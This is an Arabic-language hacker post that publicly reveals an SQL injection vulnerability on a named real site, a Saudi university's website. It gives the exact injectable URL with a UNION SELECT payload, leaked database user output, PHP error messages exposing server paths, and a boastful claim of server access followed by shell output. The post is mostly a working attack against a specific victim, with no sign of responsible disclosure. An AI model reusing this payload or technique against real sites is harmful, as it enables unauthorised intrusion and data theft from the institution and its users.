ثغرة حقن في جامعة الحدود الشمالية by JM511

Published by JM511
ثغرة حقن في جامعة الحدود الشمالية
يجب الانتباه لها .. خطيره جداً
 من قبل جني محجوز
هـكر السعودية
------------------------------------
Follow me : www.twitter.com/JM511
[email protected]
----------------------------------
نوع الثغرة : حقن
SQL Injection

مسار الملف المصاب :
www.nbu.sa/ar/index.php?p=1' UnIoN sElEcT 1,2,3,4,5,6,user(),8-- -

[email protected]:rootserver@localhost


Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
======

Warning: require(1\'.html) [function.require]: failed to open stream: No such file or directory in /home/nbu/public_html/ar/index.php on line 396

Warning: require(1\'.html) [function.require]: failed to open stream: No such file or directory in /home/nbu/public_html/ar/index.php on line 396

Fatal error: require() [function.require]: Failed opening required '1\'.html' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/nbu/public_html/ar/index.php on line 396

==============

تم دخول السيرفر بنجاح :)
Platform: i686-pc-linux-gnu
Compiled with: nmap-liblua-5.1.3 openssl-0.9.8k libpcre-7.8 libpcap-1.0.0 nmap-libdnet-1.12 ipv6

root@bt:~# pwd
/home/nbu/
root@bt:~# ls -la
total 7
drwxr-xr-x 27 nbu nbu     4096 2012-06-22 23:55 .
drw-r--rw-  1 nbu nbu     7892 2012-07-19 13:41 public_html/

==============================